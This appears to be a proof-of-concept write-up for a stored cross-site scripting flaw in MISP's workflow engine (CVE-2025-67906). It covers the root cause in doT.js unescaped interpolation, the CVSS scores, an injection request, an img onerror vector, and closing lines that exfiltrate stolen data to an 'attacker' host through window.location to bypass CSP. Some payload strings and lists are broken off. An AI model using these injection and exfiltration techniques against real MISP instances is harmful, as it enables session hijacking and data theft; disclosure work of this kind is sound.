
MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection).
MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection)
Discovered by Franck FERMAN
Overview - Root Cause - Attack Chain - Structure - Usage - Remediation - References
CVE-2025-67906 (GCVE-1-2025-0031) is a Stored Cross-Site Scripting (XSS) vulnerability in MISP (Malware Information Sharing Platform) versions up to and including 2.5.27.
The vulnerability resides in app/View/Elements/Workflows/executionPath.ctp, the Workflow execution path view component. The name field of workflow triggers is persisted to the database without server-side sanitization and subsequently rendered into the DOM through the doT.js template engine without HTML escaping. An authenticated attacker can inject arbitrary HTML/JavaScript that executes in the browser session of any user who views the compromised workflow.
Because the payload is stored in the database and rendered on every page load, the XSS is persistent - it survives page refreshes, affects multiple users, and persists until the workflow is explicitly deleted.
Discovery: This vulnerability was identified and responsibly disclosed by Franck FERMAN.
Multiple CVSS assessments exist for this vulnerability:
| Source | Score | Severity | Vector |
|---|---|---|---|
| NIST NVD | 9.0 | Critical | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | High | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | Medium | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
The score divergence reflects differing assessments of impact depth. The NIST NVD score (9.0) accounts for full Confidentiality, Integrity, and Availability impact given that the XSS payload executes with the victim's session privileges, enabling admin-level data exfiltration and workflow manipulation. The CNA score (5.4) considers only limited C/I impact for a generic XSS. The GCVE CVSS 4.0 score (7.1) introduces Attack Requirements (Privilege) and Active User Interaction modifiers.
The Scope is Changed across all assessments because the attacker's payload (injected via the MISP API) executes in a different security context (the victim's browser session).
MISP's Workflow Engine allows authenticated users to create and edit workflows via the REST API. The workflow data model includes a trigger component with a name field. This field is:
doT.js is a fast JavaScript templating engine. It uses {{= }} for interpolation, which does not escape HTML by default. The MISP Workflow Editor uses doT.js to render trigger metadata (including the name field) into the DOM. When the name field contains HTML like ``, the template engine inserts it as raw HTML, and the browser executes the embedded JavaScript.
The fix requires either:
{{! }} which HTML-escapes the valuePOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
The name value inside the data JSON field is the injection point. The entire workflow graph is serialized as a JSON string within the request body.
The vulnerability is amplified by the architectural choice of using a client-side template engine (doT.js) to render the visual workflow editor. The Workflow Editor is a graphical drag-and-drop interface where each trigger/action is displayed as a visual block. The trigger name field is rendered as a label inside these graphical blocks.
doT.js builds the visual components by generating HTML strings from templates and inserting them into the DOM. The {{= }} interpolation syntax produces unescaped output - any data interpolated into the template is treated as markup, not text. If the same name field were rendered via element.textContent (which treats input as plain text) or via doT.js's own {{! }} encoded output syntax, no XSS would be possible regardless of the input content.
The attack surface exists precisely because:
{{= }}) for performancename field is interpreted as HTML by the browserThis is a common vulnerability pattern in web applications that use client-side template engines to build interactive visual interfaces: the need for rich rendering creates an implicit trust relationship between the template and its data sources, and any unsanitized user input that reaches the template becomes executable code.
<script>A raw <script> tag injected via template interpolation will typically not execute in this context. Browsers do not run <script> elements that are inserted into the DOM after initial page parsing (via innerHTML or equivalent). Event handler attributes like onerror, onload, or onmouseover on HTML elements bypass this restriction because they fire inline JavaScript when the browser processes the element's attributes, regardless of how the element was inserted.
The <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> vector is preferred because:
src="x" guarantees an immediate load failure, triggering onerror without user interactionscript-src restrictions that block inline <script> tags, because the execution happens via an event handler on a non-script elementMISP instances typically deploy Content Security Policy headers that restrict connect-src, preventing fetch() and XMLHttpRequest calls to external origins. The exfiltration payloads in this PoC bypass CSP by using window.location (navigation) instead of API calls:
// BLOCKED by CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data); // CSP violation
// NOT blocked - navigation is not governed by CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data; // works